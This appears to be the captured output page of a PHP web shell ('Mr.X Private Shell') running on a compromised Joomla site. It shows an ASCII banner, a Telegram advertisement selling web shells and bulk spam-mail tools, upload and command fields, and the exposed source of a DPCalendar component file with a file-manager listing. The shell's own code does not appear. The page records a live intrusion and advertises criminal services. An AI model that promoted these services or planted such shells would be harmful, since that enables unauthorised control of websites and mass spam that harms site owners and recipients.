__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2024 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Component\DPCalendar\Administrator\Calendar;

use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\User\User;
use Joomla\Registry\Registry;

class InternalCalendar extends Calendar
{
	private readonly CategoryNode $calendar;

	public function __construct(CategoryNode $calendar, User $user)
	{
		parent::__construct((string)$calendar->id, $calendar->title, $user);

		$this->calendar = $calendar;

		$color = str_replace('#', '', (string)$calendar->getParams()->get('color', '3366CC'));

		// Check if it is a valid color
		if ((\strlen($color) !== 6 && \strlen($color) !== 3) || !ctype_xdigit($color)) {
			$color = '3366CC';
		}

		$this->setColor($color);

		$this->setDescription($calendar->description ?: '');
		$this->setLevel($calendar->level);
		$this->setAccess($calendar->access);
		$this->setParams(new Registry($calendar->params));
	}

	public function getChildren(bool $recursive = true): array
	{
		$childs = [];
		foreach ($this->calendar->getChildren($recursive) as $calendar) {
			$childs[] = new InternalCalendar($calendar, $this->getCurrentUser());
		}

		return $childs;
	}
}

Filemanager

Name Type Size Permission Actions
Calendar.php File 4.17 KB 0664
CalendarInterface.php File 940 B 0664
ExternalCalendar.php File 2.39 KB 0664
ExternalCalendarInterface.php File 567 B 0664
InternalCalendar.php File 1.28 KB 0664
Filemanager